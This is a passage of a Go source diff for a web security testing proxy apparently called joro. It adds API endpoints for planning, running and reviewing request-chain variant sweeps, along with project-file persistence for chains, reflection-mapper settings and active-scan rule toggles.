||||
ToSteps: req.ToSteps,
|
||||
Spans: req.Spans,
|
||||
})
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
fresh := make([]chain.Binding, 0, len(p.Targets))
|
||||
for _, t := range p.Targets {
|
||||
fresh = append(fresh, t.Binding)
|
||||
}
|
||||
keyed := assignBindingIDs(c.Bindings, fresh)
|
||||
|
||||
existing := map[string]bool{}
|
||||
for _, b := range c.Bindings {
|
||||
existing[bindingKey(b)] = true
|
||||
}
|
||||
out := make([]map[string]any, 0, len(keyed))
|
||||
for i, b := range keyed {
|
||||
out = append(out, map[string]any{
|
||||
"binding": b,
|
||||
"isNew": !existing[bindingKey(b)],
|
||||
"conflict": p.Targets[i].Conflict,
|
||||
"note": p.Targets[i].Note,
|
||||
})
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"var": p.Var,
|
||||
"recorded": base64.StdEncoding.EncodeToString([]byte(p.Recorded)),
|
||||
"sources": p.Sources,
|
||||
"proposed": out,
|
||||
"warnings": p.Warnings,
|
||||
})
|
||||
}
|
||||
|
||||
// handleChainStepResponse returns a step's recorded response, decoded.
|
||||
//
|
||||
// Decoded here, not in the client: ReadResponse is also what the sources this
|
||||
// pane produces are evaluated against, so a TypeScript decoder would be a second
|
||||
// answer to what the step returned. On demand, because chainBody already ships
|
||||
// every step's raws and a decoded copy would double every chain GET.
|
||||
func (s *APIServer) handleChainStepResponse(w http.ResponseWriter, r *http.Request) {
|
||||
c := s.chainStore.Get(r.PathValue("id"))
|
||||
if c == nil {
|
||||
writeError(w, http.StatusNotFound, "no such chain")
|
||||
return
|
||||
}
|
||||
st, _, ok := c.StepByID(r.PathValue("stepId"))
|
||||
if !ok {
|
||||
writeError(w, http.StatusNotFound, "no such step")
|
||||
return
|
||||
}
|
||||
resp := httptools.ReadResponse(st.RespRaw)
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"status": resp.Status,
|
||||
"headers": base64.StdEncoding.EncodeToString(chainHeaderBytes(resp)),
|
||||
"body": base64.StdEncoding.EncodeToString(resp.Body),
|
||||
// Verbatim from the parser, so a body this could not decode says which
|
||||
// encoding defeated it rather than rendering as broken text.
|
||||
"decoded": resp.Decoded,
|
||||
"bodyLen": len(resp.Body),
|
||||
})
|
||||
}
|
||||
|
||||
// chainHeaderBytes re-serializes a parsed response's status line and headers.
|
||||
// A regex or between source resolves against headers too, so they have to be
|
||||
// selectable in the pane.
|
||||
func chainHeaderBytes(resp httptools.Response) []byte {
|
||||
var b strings.Builder
|
||||
fmt.Fprintf(&b, "HTTP/1.1 %d\r\n", resp.Status)
|
||||
names := make([]string, 0, len(resp.Header))
|
||||
for name := range resp.Header {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
for _, name := range names {
|
||||
for _, v := range resp.Header.Values(name) {
|
||||
fmt.Fprintf(&b, "%s: %s\r\n", name, v)
|
||||
}
|
||||
}
|
||||
return []byte(b.String())
|
||||
}
|
||||
@@ -0,0 +1,281 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/chain"
|
||||
"github.com/BishopFox/joro/internal/chainrun"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
// chainRunRequest starts a sweep. A single-variant run is a sweep of one, which
|
||||
// is why there is one endpoint and one runner rather than two of each.
|
||||
type chainRunRequest struct {
|
||||
ChainID string `json:"chainId"`
|
||||
Kinds []string `json:"kinds"`
|
||||
|
||||
// VariantIDs narrows a sweep to specific variants, for re-running one row of
|
||||
// a grid without re-running the whole thing. The baseline is always included
|
||||
// regardless: it is the comparison basis, and a run without it has nothing
|
||||
// to compare against.
|
||||
VariantIDs []string `json:"variantIds,omitempty"`
|
||||
|
||||
AllowStateChanging bool `json:"allowStateChanging"`
|
||||
DelayMs int `json:"delayMs"`
|
||||
TimeoutMs int `json:"timeoutMs"`
|
||||
BudgetMs int `json:"budgetMs"`
|
||||
}
|
||||
|
||||
func (s *APIServer) handleChainRunStart(w http.ResponseWriter, r *http.Request) {
|
||||
var req chainRunRequest
|
||||
if err := decodeJSON(r, &req); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
ch := s.chainStore.Get(req.ChainID)
|
||||
if ch == nil {
|
||||
writeError(w, http.StatusNotFound, "no such chain")
|
||||
return
|
||||
}
|
||||
|
||||
variants := chain.GenerateVariants(ch, req.Kinds)
|
||||
if len(req.VariantIDs) > 0 {
|
||||
variants = filterVariants(variants, req.VariantIDs)
|
||||
}
|
||||
|
||||
cfg := chainrun.Config{
|
||||
ChainID: ch.ID,
|
||||
Chain: ch,
|
||||
Variants: variants,
|
||||
AllowStateChanging: req.AllowStateChanging,
|
||||
DelayMs: req.DelayMs,
|
||||
TimeoutMs: req.TimeoutMs,
|
||||
BudgetMs: req.BudgetMs,
|
||||
}
|
||||
|
||||
total, err := chainrun.Plan(cfg)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// One at a time, globally. Two sweeps against one application interleave on
|
||||
// its own state and both produce verdicts describing the interleaving. This
|
||||
// refuses rather than queueing, because a queue would hide the constraint
|
||||
// behind a wait and the operator would never learn why it exists. The claim
|
||||
// and the insert are one operation, so two requests cannot both pass.
|
||||
run := chainrun.NewRun(proxy.GenerateID(), cfg, total)
|
||||
if running := s.chainRuns.AddIfIdle(run); running != nil {
|
||||
writeError(w, http.StatusConflict,
|
||||
fmt.Sprintf("a run of %q is already in flight; stop it before starting another", running.ChainName))
|
||||
return
|
||||
}
|
||||
|
||||
deps := chainrun.Deps{Send: s.specSendDeps(), Broadcast: s.hub.Broadcast()}
|
||||
// context.Background, not the request's: a sweep outlives the HTTP call that
|
||||
// started it.
|
||||
go chainrun.Execute(context.Background(), run, deps)
|
||||
|
||||
writeJSON(w, http.StatusCreated, map[string]any{
|
||||
"runId": run.ID, "total": total, "variants": len(variants),
|
||||
"warnings": s.chainRunWarnings(ch, variants, total),
|
||||
})
|
||||
}
|
||||
|
||||
// filterVariants narrows a generated set, always keeping the baseline.
|
||||
func filterVariants(all []chain.Variant, ids []string) []chain.Variant {
|
||||
want := make(map[string]bool, len(ids))
|
||||
for _, id := range ids {
|
||||
want[id] = true
|
||||
}
|
||||
out := make([]chain.Variant, 0, len(ids)+1)
|
||||
for _, v := range all {
|
||||
if v.Kind == chain.VariantBaseline || want[v.ID] {
|
||||
out = append(out, v)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// chainRunWarnings reports what a sweep is about to do, before it does it.
|
||||
//
|
||||
// The request count is the number an operator is surprised by: a seven-step
|
||||
// checkout with three mutation kinds is not seven requests, it is most of a
|
||||
// hundred, and a dozen of them are real POSTs to a payment endpoint.
|
||||
func (s *APIServer) chainRunWarnings(ch *chain.Chain, variants []chain.Variant, total int) []string {
|
||||
out := []string{}
|
||||
|
||||
if methods := chain.StateChangingMethods(ch); len(methods) > 0 {
|
||||
var targets []string
|
||||
seen := map[string]bool{}
|
||||
for _, st := range ch.Steps {
|
||||
m := chain.MethodOf(st.ReqRaw)
|
||||
if m == "" || m == "GET" || m == "HEAD" || m == "OPTIONS" {
|
||||
continue
|
||||
}
|
||||
key := m + " " + chain.TargetOf(st.ReqRaw)
|
||||
if !seen[key] {
|
||||
seen[key] = true
|
||||
targets = append(targets, st.Label)
|
||||
}
|
||||
}
|
||||
if len(targets) > 3 {
|
||||
targets = append(targets[:3], fmt.Sprintf("and %d more", len(targets)-3))
|
||||
}
|
||||
out = append(out, fmt.Sprintf(
|
||||
"%d variants will send %d requests, including %s to %s — each variant repeats these for real",
|
||||
len(variants), total, strings.Join(methods, "/"), strings.Join(targets, ", ")))
|
||||
} else {
|
||||
out = append(out, fmt.Sprintf("%d variants will send %d requests", len(variants), total))
|
||||
}
|
||||
|
||||
if s.settings.InterceptEnabled {
|
||||
out = append(out, fmt.Sprintf(
|
||||
"request intercept is armed, so all %d requests will pause in the Intercept queue", total))
|
||||
}
|
||||
if total > 500 {
|
||||
out = append(out, fmt.Sprintf(
|
||||
"%d requests will be captured into History, which may evict older traffic from the capture buffer", total))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// handleChainPlan reports what a sweep would do without starting it, so the
|
||||
// warnings and the request count can be shown beside the arming checkbox rather
|
||||
// than only after the operator has committed.
|
||||
func (s *APIServer) handleChainPlan(w http.ResponseWriter, r *http.Request) {
|
||||
ch := s.chainStore.Get(r.PathValue("id"))
|
||||
if ch == nil {
|
||||
writeError(w, http.StatusNotFound, "no such chain")
|
||||
return
|
||||
}
|
||||
kinds := strings.Split(r.URL.Query().Get("kinds"), ",")
|
||||
variants := chain.GenerateVariants(ch, kinds)
|
||||
total, err := chain.Plan(ch, variants)
|
||||
|
||||
resp := map[string]any{
|
||||
"variants": variants,
|
||||
"total": total,
|
||||
"warnings": s.chainRunWarnings(ch, variants, total),
|
||||
"methods": chain.StateChangingMethods(ch),
|
||||
}
|
||||
if err != nil {
|
||||
resp["error"] = err.Error()
|
||||
}
|
||||
writeJSON(w, http.StatusOK, resp)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleChainListRuns(w http.ResponseWriter, r *http.Request) {
|
||||
runs := s.chainRuns.List()
|
||||
out := make([]map[string]any, 0, len(runs))
|
||||
for _, run := range runs {
|
||||
out = append(out, chainRunHead(run))
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"runs": out})
|
||||
}
|
||||
|
||||
func chainRunHead(run *chainrun.Run) map[string]any {
|
||||
completed, errs, unresolved, bypassed := run.Counts()
|
||||
return map[string]any{
|
||||
"id": run.ID, "chainId": run.ChainID, "chainName": run.ChainName,
|
||||
"status": string(run.Status()), "total": run.Total, "stride": run.Stride,
|
||||
"completed": completed, "errors": errs, "unresolved": unresolved, "bypassed": bypassed,
|
||||
"createdAt": run.CreatedAt,
|
||||
}
|
||||
}
|
||||
|
||||
func (s *APIServer) handleChainGetRun(w http.ResponseWriter, r *http.Request) {
|
||||
run := s.chainRuns.Get(r.PathValue("id"))
|
||||
if run == nil {
|
||||
writeError(w, http.StatusNotFound, "no such run")
|
||||
return
|
||||
}
|
||||
results := run.Results()
|
||||
offset, limit := pageParams(r, len(results))
|
||||
// Materialized, never nil: a nil slice marshals as null against a client
|
||||
// type that says array. See chain.Chain.Normalize.
|
||||
page := []chainrun.Result{}
|
||||
if offset < len(results) {
|
||||
end := min(offset+limit, len(results))
|
||||
page = results[offset:end]
|
||||
}
|
||||
|
||||
body := chainRunHead(run)
|
||||
body["steps"] = run.Steps
|
||||
body["variants"] = run.Variants
|
||||
body["verdicts"] = run.Verdicts()
|
||||
body["results"] = page
|
||||
body["resultTotal"] = len(results)
|
||||
body["offset"] = offset
|
||||
body["limit"] = limit
|
||||
writeJSON(w, http.StatusOK, body)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleChainGetGrid(w http.ResponseWriter, r *http.Request) {
|
||||
run := s.chainRuns.Get(r.PathValue("id"))
|
||||
if run == nil {
|
||||
writeError(w, http.StatusNotFound, "no such run")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, chainrun.Grid(run))
|
||||
}
|
||||
|
||||
// handleChainGetResult returns one instance including its raw bytes, fetched on
|
||||
// demand rather than streamed, as the fuzzer's and sj's detail endpoints are.
|
||||
func (s *APIServer) handleChainGetResult(w http.ResponseWriter, r *http.Request) {
|
||||
run := s.chainRuns.Get(r.PathValue("id"))
|
||||
if run == nil {
|
||||
writeError(w, http.StatusNotFound, "no such run")
|
||||
return
|
||||
}
|
||||
idx, err := strconv.Atoi(r.PathValue("index"))
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, "index must be a number")
|
||||
return
|
||||
}
|
||||
res, ok := run.ResultAt(idx)
|
||||
if !ok {
|
||||
writeError(w, http.StatusNotFound, "no such result")
|
||||
return
|
||||
}
|
||||
reqRaw, respRaw := res.ReqRaw, res.RespRaw
|
||||
res.ReqRaw, res.RespRaw = nil, nil
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"result": res,
|
||||
"reqRaw": base64.StdEncoding.EncodeToString(reqRaw),
|
||||
"respRaw": base64.StdEncoding.EncodeToString(respRaw),
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleChainStopRun(w http.ResponseWriter, r *http.Request) {
|
||||
run := s.chainRuns.Get(r.PathValue("id"))
|
||||
if run == nil {
|
||||
writeError(w, http.StatusNotFound, "no such run")
|
||||
return
|
||||
}
|
||||
if !run.Stop() {
|
||||
writeError(w, http.StatusConflict, "run is not running")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"stopped": true})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleChainDeleteRun(w http.ResponseWriter, r *http.Request) {
|
||||
run := s.chainRuns.Get(r.PathValue("id"))
|
||||
if run == nil {
|
||||
writeError(w, http.StatusNotFound, "no such run")
|
||||
return
|
||||
}
|
||||
if run.Status() == chainrun.StatusRunning {
|
||||
writeError(w, http.StatusConflict, "stop the run before deleting it")
|
||||
return
|
||||
}
|
||||
s.chainRuns.Delete(run.ID)
|
||||
writeJSON(w, http.StatusOK, map[string]any{"deleted": true})
|
||||
}
|
||||
@@ -11,12 +11,16 @@ import (
|
||||
"log"
|
||||
"net/http"
|
||||
"slices"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/browser"
|
||||
"github.com/BishopFox/joro/internal/chain"
|
||||
"github.com/BishopFox/joro/internal/configstore"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/echo"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
"github.com/BishopFox/joro/internal/techfp"
|
||||
"github.com/hashicorp/go-uuid"
|
||||
)
|
||||
|
||||
@@ -62,12 +66,18 @@ type projectReplaceRule struct {
|
||||
MatchType string `json:"matchType"`
|
||||
Match string `json:"match"`
|
||||
Replace string `json:"replace"`
|
||||
// Disabled persists the per-rule opt-out as a disabled flag (absent = enabled),
|
||||
// so an existing .joro written before this field loads every rule enabled with no
|
||||
// version bump or normalizeProjectConfig backfill.
|
||||
Disabled bool `json:"disabled,omitempty"`
|
||||
}
|
||||
|
||||
type projectCustomItem struct {
|
||||
Type string `json:"type"`
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
// Disabled: see projectReplaceRule.Disabled.
|
||||
Disabled bool `json:"disabled,omitempty"`
|
||||
}
|
||||
|
||||
type projectNote struct {
|
||||
@@ -101,6 +111,8 @@ type projectDetectConfig struct {
|
||||
SkipContentTypes []string `json:"skipContentTypes,omitempty"`
|
||||
SkipExtensions []string `json:"skipExtensions,omitempty"`
|
||||
ExcludeHosts []string `json:"excludeHosts,omitempty"`
|
||||
AnomalyEnabled bool `json:"anomalyEnabled,omitempty"`
|
||||
AnomalySensitivity string `json:"anomalySensitivity,omitempty"`
|
||||
}
|
||||
|
||||
// projectDetectRule is a custom detection rule as persisted. Unlike the scope,
|
||||
@@ -206,6 +218,38 @@ type projectConfigFile struct {
|
||||
// belongs here; the automations themselves are code and live on disk, because a
|
||||
// project config is published to teammates. Added in schema v7.
|
||||
AutomationStates map[string]string `json:"automationStates,omitempty"`
|
||||
|
||||
// Chains are the Chain tab's workflow chains (schema v8).
|
||||
//
|
||||
// Stored as the live type rather than a trimmed DTO, unlike every field
|
||||
// above. There is nothing to trim: a chain is already exactly the recorded
|
||||
// bytes plus the bindings over them, its json tags are explicit, and a
|
||||
// parallel struct here would be a second definition of the same shape with
|
||||
// no field to leave out. The raws ride as base64 because that is what
|
||||
// encoding/json does with []byte.
|
||||
Chains []*chain.Chain `json:"chains,omitempty"`
|
||||
|
||||
// EchoConfig is the reflection mapper's settings (schema v9). Only the
|
||||
// settings travel: the map itself is derived from history and a rescan
|
||||
// rebuilds it, so persisting it would store a second copy of captured
|
||||
// traffic that a project load could not keep in step with the first.
|
||||
EchoConfig *echo.Config `json:"echoConfig,omitempty"`
|
||||
|
||||
// ActiveScanDisabledRules lists the active-scan rule IDs the operator turned
|
||||
// off (schema v10). Only the exceptions travel, so a project that never
|
||||
// touched them decodes to nil and runs every rule — no normalize gate needed,
|
||||
// for the same reason EchoConfig/Chains above need none.
|
||||
ActiveScanDisabledRules []string `json:"activeScanDisabledRules,omitempty"`
|
||||
|
||||
// ActiveScanDisabledSignatures is the legacy (schema v11) flat list of disabled
|
||||
// template-signature IDs. Read-only now: it is folded into
|
||||
// ActiveScanDisabledItems["templatesig"] on load so old projects still restore.
|
||||
ActiveScanDisabledSignatures []string `json:"activeScanDisabledSignatures,omitempty"`
|
||||
|
||||
// ActiveScanDisabledItems holds each catalog rule's disabled item IDs, keyed by
|
||||
// rule id (schema v12). Generalizes ActiveScanDisabledSignatures to every rule
|
||||
// with a catalog (template signatures + the injection rules). Exceptions-only.
|
||||
ActiveScanDisabledItems map[string][]string `json:"activeScanDisabledItems,omitempty"`
|
||||
}
|
||||
|
||||
// encodePluginStates base64-encodes each blob for transport inside a JSON
|
||||
@@ -282,13 +326,13 @@ func (s *APIServer) buildProjectConfig(autoSave, saveHistory bool) projectConfig
|
||||
replaceRules := s.replace.Rules()
|
||||
pReplaceRules := make([]projectReplaceRule, len(replaceRules))
|
||||
for i, r := range replaceRules {
|
||||
pReplaceRules[i] = projectReplaceRule{Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace}
|
||||
pReplaceRules[i] = projectReplaceRule{Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace, Disabled: !r.Enabled}
|
||||
}
|
||||
|
||||
customItems := s.customData.Items()
|
||||
pCustomItems := make([]projectCustomItem, len(customItems))
|
||||
for i, item := range customItems {
|
||||
pCustomItems[i] = projectCustomItem{Type: item.Type, Name: item.Name, Value: item.Value}
|
||||
pCustomItems[i] = projectCustomItem{Type: item.Type, Name: item.Name, Value: item.Value, Disabled: !item.Enabled}
|
||||
}
|
||||
|
||||
var pNotes []projectNote
|
||||
@@ -336,11 +380,25 @@ func (s *APIServer) buildProjectConfig(autoSave, saveHistory bool) projectConfig
|
||||
|
||||
dEnabled, dCfg, dDisabled, dOverrides, dRules, dFindings := s.detectStateForProject()
|
||||
|
||||
var echoCfg *echo.Config
|
||||
if s.echoEngine != nil {
|
||||
c := s.echoEngine.Config()
|
||||
echoCfg = &c
|
||||
}
|
||||
|
||||
var activeScanDisabled []string
|
||||
if s.activeScanRules != nil {
|
||||
activeScanDisabled = s.activeScanRules.Disabled()
|
||||
}
|
||||
activeScanDisabledItems := s.collectDisabledItems()
|
||||
|
||||
return projectConfigFile{
|
||||
// v7 added AutomationStates. No normalizeProjectConfig gate: an absent map
|
||||
// decodes to nil, which is the correct default — a backfill exists only where
|
||||
// the zero value would be wrong, as it was for autoSave and detectEnabled.
|
||||
Version: 7,
|
||||
// v12 generalized disabled signatures to ActiveScanDisabledItems (per-rule
|
||||
// catalog disables); v10 added ActiveScanDisabledRules; v9 added EchoConfig; v8
|
||||
// Chains; v7 AutomationStates. None needs a normalizeProjectConfig gate: all
|
||||
// decode to nil when absent, which is the correct default — and the legacy v11
|
||||
// ActiveScanDisabledSignatures is folded into the map on apply.
|
||||
Version: 12,
|
||||
AutoSave: autoSave,
|
||||
SaveHistory: saveHistory,
|
||||
ListenerURL: listenerURL,
|
||||
@@ -371,6 +429,11 @@ func (s *APIServer) buildProjectConfig(autoSave, saveHistory bool) projectConfig
|
||||
// and dropping its bookkeeping would lose the operator who does have it their
|
||||
// state the first time anyone else saves.
|
||||
AutomationStates: encodePluginStates(mergePluginStates(automationGhost, automationFresh)),
|
||||
|
||||
Chains: s.chainStore.List(),
|
||||
EchoConfig: echoCfg,
|
||||
ActiveScanDisabledRules: activeScanDisabled,
|
||||
ActiveScanDisabledItems: activeScanDisabledItems,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -547,11 +610,35 @@ func (s *APIServer) liveStateSignature() string {
|
||||
s.mu.RLock()
|
||||
hlCount := len(s.highlights)
|
||||
s.mu.RUnlock()
|
||||
return fmt.Sprintf("r%d/s%d/n%d/u%d/h%d/sc%s/rp%d/cd%d/no%d",
|
||||
// Chains contribute a revision as well as a count, for the reason
|
||||
// automationSignature does: editing a chain's bindings leaves the number of
|
||||
// chains identical, and a count alone would let that edit go unsaved.
|
||||
var chainCount int
|
||||
var chainRev uint64
|
||||
if s.chainStore != nil {
|
||||
chainCount, chainRev = s.chainStore.Count(), s.chainStore.Revision()
|
||||
}
|
||||
// Only the reflection settings are saved, so only they are fingerprinted:
|
||||
// the map's own revision changes on every analyzed response and would force
|
||||
// a project save every tick while proxying.
|
||||
echoSig := ""
|
||||
if s.echoEngine != nil {
|
||||
c := s.echoEngine.Config()
|
||||
echoSig = fmt.Sprintf("/ec%v.%d.%d.%d", c.Enabled, c.MinValueLen,
|
||||
c.TransformDepth, c.MaxBodyScanBytes)
|
||||
}
|
||||
// Only the active-rule toggles persist, so only they are fingerprinted — not
|
||||
// the run list, which is session state.
|
||||
activeScanSig := ""
|
||||
if s.activeScanRules != nil {
|
||||
activeScanSig = "/as" + strings.Join(s.activeScanRules.Disabled(), ",")
|
||||
}
|
||||
activeScanSig += s.disabledItemsSignature()
|
||||
return fmt.Sprintf("r%d/s%d/n%d/u%d/h%d/sc%s/rp%d/cd%d/no%d/lc%d.%d",
|
||||
reqCount, lastSeq, noteCount, maxNoteUpdate, hlCount,
|
||||
scopeSignature(s.scope.Rules()), len(s.replace.Rules()),
|
||||
len(s.customData.Items()), len(s.noise.Patterns())) +
|
||||
s.detectSignature() + s.automationSignature()
|
||||
len(s.customData.Items()), len(s.noise.Patterns()), chainCount, chainRev) +
|
||||
s.detectSignature() + s.automationSignature() + echoSig + activeScanSig
|
||||
}
|
||||
|
||||
// saveProject snapshots live state to the named project's .joro (respecting its
|
||||
@@ -623,6 +710,35 @@ func (s *APIServer) resetLiveProjectState() {
|
||||
// An automation session belongs to the engagement it authenticated against.
|
||||
s.capContexts.ResetAll()
|
||||
|
||||
// So do the loaded API description documents: their source bytes are the
|
||||
// previous target's, and their auth profiles hold credentials the operator
|
||||
// typed. The client drops its own SJ state on a project change; without this
|
||||
// the server kept both, keyed by ids nothing referenced any more.
|
||||
if s.specStore != nil {
|
||||
s.specStore.Clear()
|
||||
}
|
||||
|
||||
// And so do the workflow chains. A chain holds recorded request and response
|
||||
// bytes from the previous target, so carrying one into an empty project would
|
||||
// bring that engagement's traffic with it — the thing clearing the capture
|
||||
// store above exists to prevent. Unlike a project switch, which loads the
|
||||
// incoming project's chains over these, there is nothing to load here.
|
||||
if s.chainStore != nil {
|
||||
s.chainStore.Clear()
|
||||
}
|
||||
if s.chainRuns != nil {
|
||||
s.chainRuns.Clear()
|
||||
}
|
||||
if s.activeScans != nil {
|
||||
s.activeScans.Clear()
|
||||
}
|
||||
// The reflection map describes the previous engagement's traffic, so it goes
|
||||
// with it; the settings return to their defaults alongside.
|
||||
if s.echoEngine != nil {
|
||||
s.echoStore.Clear()
|
||||
s.echoEngine.SetConfig(echo.DefaultConfig())
|
||||
}
|
||||
|
||||
// An automation's key/value state describes the engagement it was gathered in.
|
||||
if s.automationStorage != nil {
|
||||
s.automationStorage.Reset()
|
||||
@@ -703,6 +819,56 @@ func (s *APIServer) applyProjectConfig(cfg *projectConfigFile, name string, pres
|
||||
// it does not survive into a different project.
|
||||
s.capContexts.ResetAll()
|
||||
|
||||
// Nor do the loaded API description documents: their source bytes describe
|
||||
// the previous target, and their auth profiles hold credentials the operator
|
||||
// typed. The client clears its own SJ state on a project change; this is the
|
||||
// server half, without which both sat in memory keyed by ids nothing
|
||||
// referenced — and unreadable, since the profile endpoint reports only that a
|
||||
// credential exists, never its value.
|
||||
if s.specStore != nil {
|
||||
s.specStore.Clear()
|
||||
}
|
||||
|
||||
// Chains themselves DO travel with the project, so they are loaded below
|
||||
// rather than cleared. Their runs do not: a run's results reference History
|
||||
// rows from the previous engagement, and its verdicts were computed against
|
||||
// a baseline measured there.
|
||||
if s.chainRuns != nil {
|
||||
s.chainRuns.Clear()
|
||||
}
|
||||
if s.activeScans != nil {
|
||||
s.activeScans.Clear()
|
||||
}
|
||||
if s.chainStore != nil {
|
||||
s.chainStore.ReplaceAll(cfg.Chains)
|
||||
}
|
||||
|
||||
// The reflection map is derived from the history being replaced, so it is
|
||||
// cleared rather than loaded; its settings are project data and are applied.
|
||||
// An older file carries none, and the defaults are the right answer there.
|
||||
if s.echoEngine != nil {
|
||||
s.echoStore.Clear()
|
||||
if cfg.EchoConfig != nil {
|
||||
s.echoEngine.SetConfig(*cfg.EchoConfig)
|
||||
} else {
|
||||
s.echoEngine.SetConfig(echo.DefaultConfig())
|
||||
}
|
||||
}
|
||||
|
||||
// Active-rule toggles are project data; a nil slice (an older file, or a
|
||||
// project that never changed them) clears the disabled set, so every rule runs.
|
||||
if s.activeScanRules != nil {
|
||||
s.activeScanRules.SetDisabled(cfg.ActiveScanDisabledRules)
|
||||
}
|
||||
// Per-catalog-item disables, keyed by rule id; a missing key clears that rule's
|
||||
// set. Fold the legacy v11 flat signature list into the template rule's entry so
|
||||
// old project files still restore.
|
||||
items := cfg.ActiveScanDisabledItems
|
||||
if items == nil && len(cfg.ActiveScanDisabledSignatures) > 0 {
|
||||
items = map[string][]string{"templatesig": cfg.ActiveScanDisabledSignatures}
|
||||
}
|
||||
s.applyDisabledItems(items)
|
||||
|
||||
// Apply team server settings.
|
||||
s.mu.Lock()
|
||||
nickname := cfg.TeamNickname
|
||||
@@ -740,14 +906,14 @@ func (s *APIServer) applyProjectConfig(cfg *projectConfigFile, name string, pres
|
||||
|
||||
replaceRules := make([]proxy.MatchReplaceRule, len(cfg.ReplaceRules))
|
||||
for i, r := range cfg.ReplaceRules {
|
||||
replaceRules[i] = proxy.MatchReplaceRule{ID: proxy.GenerateID(), Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace}
|
||||
replaceRules[i] = proxy.MatchReplaceRule{ID: proxy.GenerateID(), Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace, Enabled: !r.Disabled}
|
||||
}
|
||||
s.replace.SetEnabled(cfg.ReplaceEnabled)
|
||||
s.replace.SetRules(replaceRules)
|
||||
|
||||
customItems := make([]proxy.CustomAddition, len(cfg.CustomDataItems))
|
||||
for i, item := range cfg.CustomDataItems {
|
||||
customItems[i] = proxy.CustomAddition{ID: proxy.GenerateID(), Type: item.Type, Name: item.Name, Value: item.Value}
|
||||
customItems[i] = proxy.CustomAddition{ID: proxy.GenerateID(), Type: item.Type, Name: item.Name, Value: item.Value, Enabled: !item.Disabled}
|
||||
}
|
||||
s.customData.SetEnabled(cfg.CustomDataEnabled)
|
||||
s.customData.SetItems(customItems)
|
||||
@@ -807,6 +973,14 @@ func (s *APIServer) applyProjectConfig(cfg *projectConfigFile, name string, pres
|
||||
detectResp := s.applyDetectProjectConfig(cfg)
|
||||
s.resetDetectCursor(s.store.LastSeq())
|
||||
|
||||
// The fingerprint cursor was just parked forward past the loaded history, so the
|
||||
// live loop would skip it. Backfill the loaded hosts with a background rescan —
|
||||
// tech data is cheap and tag-only (unlike detect's findings, which is why detect
|
||||
// requires an explicit rescan). Clear:true drops the previous project's tags.
|
||||
if s.techEngine != nil && s.store.Count() > 0 {
|
||||
s.techEngine.StartRescan(s.detectBackgroundCtx(), techfp.RescanRequest{Scope: "all", Clear: true})
|
||||
}
|
||||
|
||||
var unknownPluginStates []string
|
||||
if s.pluginManager != nil {
|
||||
unknownPluginStates = s.pluginManager.ApplyProjectStates(decodedPluginStates)
|
||||
@@ -1496,7 +1670,7 @@ func (s *APIServer) handleApplySharedConfig(w http.ResponseWriter, r *http.Reque
|
||||
continue
|
||||
}
|
||||
replaceRules = append(replaceRules, proxy.MatchReplaceRule{
|
||||
ID: proxy.GenerateID(), Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace,
|
||||
ID: proxy.GenerateID(), Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace, Enabled: !r.Disabled,
|
||||
})
|
||||
}
|
||||
s.replace.SetRules(replaceRules)
|
||||
@@ -1512,7 +1686,7 @@ func (s *APIServer) handleApplySharedConfig(w http.ResponseWriter, r *http.Reque
|
||||
continue
|
||||
}
|
||||
customItems = append(customItems, proxy.CustomAddition{
|
||||
ID: proxy.GenerateID(), Type: it.Type, Name: it.Name, Value: it.Value,
|
||||
ID: proxy.GenerateID(), Type: it.Type, Name: it.Name, Value: it.Value, Enabled: !it.Disabled,
|
||||
})
|
||||
}
|
||||
s.customData.SetItems(customItems)
|
||||
|
||||
@@ -56,6 +56,22 @@ func (s *APIServer) handleAddCustomDataItem(w http.ResponseWriter, r *http.Reque
|
||||
writeJSON(w, http.StatusCreated, item)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSetCustomDataItemEnabled(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
var body struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := decodeJSON(r, &body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
if !s.customData.SetItemEnabled(id, body.Enabled) {
|
||||
writeError(w, http.StatusNotFound, "item not found")
|
||||
return
|
||||
}
|
||||
